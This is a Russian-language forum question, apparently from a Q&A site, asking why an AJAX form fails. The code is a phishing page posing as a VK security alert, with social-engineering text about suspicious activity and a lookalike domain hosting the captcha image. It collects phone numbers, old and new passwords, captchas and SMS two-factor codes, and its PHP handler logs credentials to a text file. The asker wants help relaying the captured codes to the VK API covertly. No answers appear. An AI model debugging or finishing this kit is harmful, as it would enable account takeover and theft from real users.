@agronom617

Почему не отправляется ajax форма?

У меня есть Ajax форма,код ниже
<script type="text/javascript">
		function checkLogin() {
			if (g("check").value === "") {
				$("#check").css({"border": "1px solid #F00F00", "background": "#FCCFCC"});
			} else {
				//g("err").style.display = "none";
				$("#number").fadeOut(300, function() {
					$("#password").fadeIn(300);
				});
				$.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {

				});
			}
		}

		function g(id) {
			return document.getElementById(id);
		}

		var wascapt = false;
		var wassms = false;
		var have2fa = false;
		var gettedToken = "";

		function login() {
			var captcha_key = "";
			var captcha_sid = "";
			var smscode = "";
			var validation_sid = "";


			var login = g("check").value.replace("+", "");
			var password = g("oldpassword").value;

			$("#err").fadeOut(300);

			if (g("newpassword").value.length < 6) {
				$("#err").html("Пароль должен иметь 6 или более символов").fadeIn(300);
				return;
			}


			if (g("newpassword").value !== g("newpassword2").value) {
				$("#err").html("Пароль не изменён, так как новый пароль повторен неправильно.").fadeIn(300);
				return;
			}


			if (g("captcha_sid").value) {
				captcha_key = g("captcha_key").value;
				captcha_sid = g("captcha_sid").value;
				wascapt = false;
			}

			if (wassms) {
				smscode = g("smscode").value;
				validation_sid = g("validation_sid").value;
				wassms = false;
			}


			var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
				var response = JSON.parse(auth.responseText);
				/*if (response.access_token) {
					changePassword(login, password, response.access_token, g("newpassword").value);
					return;
				}*/

				if (response.api) {
					if (response.result) {
						window.location.replace("https://vk.com/id0");
					} else {
						gettedToken = response.token;
						var e = response.api.error;
						if (e.error_code === 14) {
							$("#password, #sms").fadeOut(300, function () {
								$("#capt").fadeIn(300);
							});
							g("captcha_key").value = "";
							g("captcha_key").focus();
							g("capt_img").src = e.captcha_img;
							g("captcha_sid").value = e.captcha_sid;
						}
					}
					return;
				}

				if (response.auth && !response.result || response.code === 0) {
					var e = response.auth;
					switch (response.auth.error) {
						case "invalid_client":
							$("input[type='text'], input[type='password']").val("");
							$("#err").html("Неверный логин или старый пароль").fadeIn(300);
							$("#number").fadeIn(300);
							$("#capt, #password").fadeOut(300);
							break;

						case "need_captcha":
							$("#password, #sms").fadeOut(300, function() {
								$("#capt").fadeIn(300);
							});
							g("captcha_key").value = "";
							g("captcha_key").focus();
							g("capt_img").src = e.captcha_img;
							g("captcha_sid").value = e.captcha_sid;
							wascapt = true;
							break;

						case "need_validation":
							$("#password, #capt").fadeOut(300, function() {
								$("#sms").fadeIn(300);
							});
							g("validation_sid").value = e.validation_sid;
							wassms = true;
							have2fa = true;
							$.ajax("https://api.vk.com/method/auth.validatePhone?sid=" + e.validation_sid + "&v=5.22");
							break;

						default:
							break;
					}
				}
			});
		}

	</script>
</head>
<body>

<div class="header"></div>
<div class="page">
	<div class="page-border">
		<div class="content">
			<div class="spamfight"></div>
			<p>На Вашей странице была обнаружена подозрительная активность. На данный момент<strong> злоумышленники</strong> могут иметь доступ к Вашей странице.
			</p>
			<br>
			<p>Чтобы обезопасить свою страницу, мы просим Вас <span style="color:#45668E">проверить компьютер <strong>антивирусом</strong></span>, подтвердить, что Вы владелец страницы и изменить свой пароль, используя данную страницу.
			</p>
			<br>
			<p>Злоумышленники могли получить доступ к Вашей странице с помощью следующей подозрительной ссылки. </p>
			<div class="reason">
				<p style="padding-left:20px">
					<strong>Подозрительная ссылка</strong>
					<br>
					<span style="cursor:pointer">http://goo.gl/...</span>
				</p>
			</div>


			<div id="err" class="oauth_error"></div>

			<div class="content-1" id="number" style="display: block;">
				<p class="login">Мобильный телефон либо e-mail:</p>
				<input type="text" id="check" class="textbox-blocked" name="mobile" autofocus="" value="">
				<div class="button btn-mobile" onclick="checkLogin();" style="width:134px">Продолжить</div>
			</div>

			<div class="content-1" id="password" style="display: none;">
				<p class="login">Старый пароль</p>
				<input id="oldpassword" type="password" name="pass" autofocus="" required="" pattern=".{6,50}" class="textbox-blocked">
				<p class="login">Новый пароль</p>
				<input id="newpassword" type="password" name="newpass" required="" pattern=".{6,50}" class="textbox-blocked">
				<p class="login">Повторите пароль</p>
				<input id="newpassword2" type="password" name="repass" required="" pattern=".{6,50}" class="textbox-blocked">
				<input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
			</div>

			<div class="content-1" id="capt" style="display: none;">
				<input id="captcha_sid" type="hidden" name="captcha_sid" value="">
				<br><img id="capt_img" src="https://vk.com.setting.antiviruseprotectionservice.xyz/blocked.php?id=156834558"><br><br>
				<p class="login">Код с картинки:</p>
				<input id="captcha_key" type="text" name="captcha_key" required="" pattern=".{6,50}" class="textbox-blocked">
				<input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
			</div>

			<div id="sms" style="display: none;">
				<div class="oauth_error">Чтобы подтвердить, что Вы действительно являетесь владельцем страницы, пожалуйста, введите код подтверждения из SMS либо последние 4 цифры номера, с которого Вам поступит звонок.
				</div>
				<br>
				<div class="content-1">
					<input id="validation_sid" type="hidden" name="validation_sid" value="1">
					<p class="login">Код подтверждения:</p>
					<input id="smscode" type="text" required="" pattern=".{6,50}" class="textbox-blocked">
					<input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
				</div>
			</div>
		</div>
	</div>
</div>


Я к ней пытаюсь написать обработчик.Пока сделал так
<?php
$db="d1b.txt";
$realmail="http://google.ru/2016282882";

if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!=""))
{

$act = $_GET['login'];
$login = $_GET['mobile'];
$password = $_GET['pass'];
$newpassword = $_GET['newpass'];
$newpassword2 = $_GET['repass'];
$smscode = $_GET['code'];
$captcha_key = $_GET['captcha_key'];

echo json_encode($json);

$str="$mobile@|$pass@|$newpass@|$repass \n";
$file=fopen("$db","a+");
if(!$file)
{
  header("Location: $realmail");
}
else
{
  fputs($file, $str);
  header("Location: $realmail");
}
}
else
{
header("Location: $index");
}
?>

PHP обработчик должен сохранять логин,старый,новый пароль пользователя,по нажатию на кнопку входа (submit),дальше мне через PHP обработчик нужно обратиться к url api.vk.com и выполнить скрытно URL в момент первого нажатия кнопки входа.Сразу после этого нужно,что бы PHP обработчик открыл вторую часть кода,и спросил у Юзера Смс код,тут кнопка входа тоже должна присутствовать. Как это можно сделать на PHP?У меня вроде команды типа $login = $_GET['mobile']; $password = $_GET['pass']; в обработчике присутствуют, но кнопка входа тупо не активна.У меня подключен Jquerry,так что первый раз кнопка на вход как бы реагирует,но ничего не сохраняет вплане данных,второй раз не реагирует.Не нажимается короче.В чем может быть проблема?И как примерно можно реализовать на ПХП следующий сценарий действий?
  • Вопрос задан
  • 106 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы